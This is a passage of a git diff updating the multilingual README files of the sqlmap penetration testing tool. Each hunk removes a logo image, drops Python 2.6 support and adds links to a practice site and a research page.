* Χώρος δοκιμών: https://sekumart.sekuripy.hr
|
||||||
|
* Έρευνα: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
|
sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoštvom korisnih opcija za napredno penetracijsko testiranje te široki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datotečnom sustavu i izvršavanja komandi na operacijskom sustavu korištenjem tzv. "out-of-band" veza.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sql
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.6**, **2.7** i/ili **3.x** na bilo kojoj platformi.
|
sqlmap radi bez posebnih zahtjeva korištenjem [Python](https://www.python.org/download/) verzije **2.7** i/ili **3.x** na bilo kojoj platformi.
|
||||||
|
|
||||||
Korištenje
|
Korištenje
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ Poveznice
|
|||||||
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Najčešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demo: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Vježbalište: https://sekumart.sekuripy.hr
|
||||||
|
* Istraživanje: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
|
sqlmap adalah perangkat lunak sumber terbuka yang digunakan untuk melakukan uji penetrasi, mengotomasi proses deteksi, eksploitasi kelemahan _SQL injection_ serta pengambil-alihan server basis data.
|
||||||
|
|
||||||
@@ -22,7 +22,7 @@ Sebagai alternatif, Anda dapat mengunduh sqlmap dengan melakukan _clone_ pada re
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.6**, **2.7** dan **3.x** pada platform apapun.
|
sqlmap berfungsi langsung pada [Python](https://www.python.org/download/) versi **2.7** dan **3.x** pada platform apapun.
|
||||||
|
|
||||||
Penggunaan
|
Penggunaan
|
||||||
----
|
----
|
||||||
@@ -50,4 +50,6 @@ Tautan
|
|||||||
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Pertanyaan Yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
* Video Demo [#1](https://www.youtube.com/user/inquisb/videos) dan [#2](https://www.youtube.com/user/stamparm/videos)
|
||||||
|
* Arena latihan: https://sekumart.sekuripy.hr
|
||||||
|
* Riset: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
|
sqlmap एक ओपन सोर्स प्रवेश परीक्षण उपकरण है जो SQL इन्जेक्शन दोषों की पहचान और उपयोग की प्रक्रिया को स्वचलित करता है और डेटाबेस सर्वरों को अधिकृत कर लेता है। इसके साथ एक शक्तिशाली पहचान इंजन, अंतिम प्रवेश परीक्षक के लिए कई निचले विशेषताएँ और डेटाबेस प्रिंट करने, डेटाबेस से डेटा निकालने, नीचे के फ़ाइल सिस्टम तक पहुँचने और आउट-ऑफ-बैंड कनेक्शन के माध्यम से ऑपरेटिंग सिस्टम पर कमांड चलाने के लिए कई बड़े रेंज के स्विच शामिल हैं।
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ sqlmap एक ओपन सोर्स प्रवेश परीक्षण
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**, **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
|
sqlmap [Python](https://www.python.org/download/) संस्करण **2.7** और **3.x** पर किसी भी प्लेटफार्म पर तुरंत काम करता है।
|
||||||
|
|
||||||
उपयोग
|
उपयोग
|
||||||
----
|
----
|
||||||
@@ -46,5 +46,7 @@ sqlmap [Python](https://www.python.org/download/) संस्करण **2.6**,
|
|||||||
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* अक्सर पूछे जाने वाले प्रश्न (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
* ट्विटर: [@sqlmap](https://x.com/sqlmap)
|
||||||
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* डेमो: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* अभ्यास स्थल: https://sekumart.sekuripy.hr
|
||||||
|
* अनुसंधान: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* स्क्रीनशॉट: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
*
|
*
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
|
sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](htt
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap è in grado di funzionare con le versioni **2.6**, **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
|
sqlmap è in grado di funzionare con le versioni **2.7** e **3.x** di [Python](https://www.python.org/download/) su ogni piattaforma.
|
||||||
|
|
||||||
Utilizzo
|
Utilizzo
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ Link
|
|||||||
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Dimostrazioni: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Campo di prova: https://sekumart.sekuripy.hr
|
||||||
|
* Ricerca: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
|
sqlmapはオープンソースのペネトレーションテスティングツールです。SQLインジェクションの脆弱性の検出、活用、そしてデータベースサーバ奪取のプロセスを自動化します。
|
||||||
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
|
強力な検出エンジン、ペネトレーションテスターのための多くのニッチ機能、持続的なデータベースのフィンガープリンティングから、データベースのデータ取得やアウトオブバンド接続を介したオペレーティング・システム上でのコマンド実行、ファイルシステムへのアクセスなどの広範囲に及ぶスイッチを提供します。
|
||||||
@@ -21,7 +21,7 @@ wikiに載っているいくつかの機能のデモをスクリーンショッ
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.6**, **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
|
sqlmapは、 [Python](https://www.python.org/download/) バージョン **2.7** または **3.x** がインストールされていれば、全てのプラットフォームですぐに使用できます。
|
||||||
|
|
||||||
使用方法
|
使用方法
|
||||||
----
|
----
|
||||||
@@ -48,4 +48,6 @@ sqlmapの概要、機能の一覧、全てのオプションやスイッチの
|
|||||||
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* よくある質問 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* デモ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* プレイグラウンド: https://sekumart.sekuripy.hr
|
||||||
|
* 研究: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* スクリーンショット: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის.
|
sqlmap არის შეღწევადობის ტესტირებისათვის განკუთვილი ინსტრუმენტი, რომლის კოდიც ღიად არის ხელმისაწვდომი. ინსტრუმენტი ახდენს SQL-ინექციის სისუსტეების აღმოჩენისა, გამოყენების და მონაცემთა ბაზათა სერვერების დაუფლების პროცესების ავტომატიზაციას. იგი აღჭურვილია მძლავრი აღმომჩენი მექანიძმით, შეღწევადობის პროფესიონალი ტესტერისათვის შესაფერისი ბევრი ფუნქციით და სკრიპტების ფართო სპექტრით, რომლებიც შეიძლება გამოყენებულ იქნეს მრავალი მიზნით, მათ შორის: მონაცემთა ბაზიდან მონაცემების შეგროვებისათვის, ძირითად საფაილო სისტემაზე წვდომისათვის და out-of-band კავშირების გზით ოპერაციულ სისტემაში ბრძანებათა შესრულებისათვის.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ sqlmap არის შეღწევადობის ტესტირე
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.6**, **2.7** და **3.x** ვერსიებთან.
|
sqlmap ნებისმიერ პლატფორმაზე მუშაობს [Python](https://www.python.org/download/)-ის **2.7** და **3.x** ვერსიებთან.
|
||||||
|
|
||||||
გამოყენება
|
გამოყენება
|
||||||
----
|
----
|
||||||
@@ -46,4 +46,6 @@ sqlmap ნებისმიერ პლატფორმაზე მუშ
|
|||||||
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* ხშირად დასმული კითხვები (ხდკ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* დემონსტრაციები: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* სავარჯიშო სივრცე: https://sekumart.sekuripy.hr
|
||||||
|
* კვლევა: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* ეკრანის ანაბეჭდები: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
|
sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장악 프로세스를 자동화 하는 오픈소스 침투 테스팅 도구입니다. 최고의 침투 테스터, 데이터베이스 핑거프린팅 부터 데이터베이스 데이터 읽기, 대역 외 연결을 통한 기반 파일 시스템 접근 및 명령어 실행에 걸치는 광범위한 스위치들을 위한 강력한 탐지 엔진과 다수의 편리한 기능이 탑재되어 있습니다.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ sqlmap은 SQL 인젝션 결함 탐지 및 활용, 데이터베이스 서버 장
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap은 [Python](https://www.python.org/download/) 버전 **2.6**, **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
|
sqlmap은 [Python](https://www.python.org/download/) 버전 **2.7** 그리고 **3.x** 을 통해 모든 플랫폼 위에서 사용 가능합니다.
|
||||||
|
|
||||||
사용법
|
사용법
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ sqlmap의 능력, 지원되는 기능과 모든 옵션과 스위치들의 목록
|
|||||||
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* 자주 묻는 질문 (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* 트위터: [@sqlmap](https://x.com/sqlmap)
|
* 트위터: [@sqlmap](https://x.com/sqlmap)
|
||||||
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* 시연 영상: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* 플레이그라운드: https://sekumart.sekuripy.hr
|
||||||
|
* 연구: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* 스크린샷: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen.
|
sqlmap is een open source penetratie test tool dat het proces automatiseert van het detecteren en exploiteren van SQL injectie fouten en het overnemen van database servers. Het wordt geleverd met een krachtige detectie-engine, vele niche-functies voor de ultieme penetratietester, en een breed scala aan switches, waaronder database fingerprinting, het overhalen van gegevens uit de database, toegang tot het onderliggende bestandssysteem, en het uitvoeren van commando's op het besturingssysteem via out-of-band verbindingen.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ Bij voorkeur, kun je sqlmap downloaden door de [Git](https://github.com/sqlmappr
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.6**, **2.7** en **3.x**.
|
sqlmap werkt op alle platformen met de volgende [Python](https://www.python.org/download/) versies: **2.7** en **3.x**.
|
||||||
|
|
||||||
Gebruik
|
Gebruik
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ Links
|
|||||||
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Vaak gestelde vragen (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Speeltuin: https://sekumart.sekuripy.hr
|
||||||
|
* Onderzoek: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
|
sqlmap to open sourceowe narzędzie do testów penetracyjnych, które automatyzuje procesy detekcji, przejmowania i testowania odporności serwerów SQL na podatność na iniekcję niechcianego kodu. Zawiera potężny mechanizm detekcji, wiele niszowych funkcji dla zaawansowanych testów penetracyjnych oraz szeroki wachlarz opcji począwszy od identyfikacji bazy danych, poprzez wydobywanie z niej danych, a nawet pozwalających na dostęp do systemu plików oraz wykonywanie poleceń w systemie operacyjnym serwera poprzez niestandardowe połączenia.
|
||||||
|
|
||||||
@@ -20,7 +20,7 @@ Można również pobrać sqlmap klonując rezozytorium [Git](https://github.com/
|
|||||||
|
|
||||||
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
|
||||||
|
|
||||||
do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.6**, **2.7** lub **3.x** na dowolnej platformie systemowej.
|
do użycia sqlmap potrzebny jest [Python](https://www.python.org/download/) w wersji **2.7** lub **3.x** na dowolnej platformie systemowej.
|
||||||
|
|
||||||
Sposób użycia
|
Sposób użycia
|
||||||
----
|
----
|
||||||
@@ -47,4 +47,6 @@ Odnośniki
|
|||||||
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
* Często zadawane pytania (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||||
* X: [@sqlmap](https://x.com/sqlmap)
|
* X: [@sqlmap](https://x.com/sqlmap)
|
||||||
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
* Dema: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||||
|
* Piaskownica: https://sekumart.sekuripy.hr
|
||||||
|
* Badania: https://www.sekuripy.hr/labs/sqlmap/#research
|
||||||
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
* Zrzuty ekranu: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# sqlmap 
|
# sqlmap
|
||||||
|
|
||||||
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
[](https://github.com/sqlmapproject/sqlmap/actions/workflows/tests.yml) [](https://www.python.org/) [](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [](https://x.com/sqlmap)
|
||||||
|
|
||||||
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
sqlmap é uma ferramenta de teste de intrusão, de código aberto, que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de intrusão por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional.
|
||||||
|
|
||||||
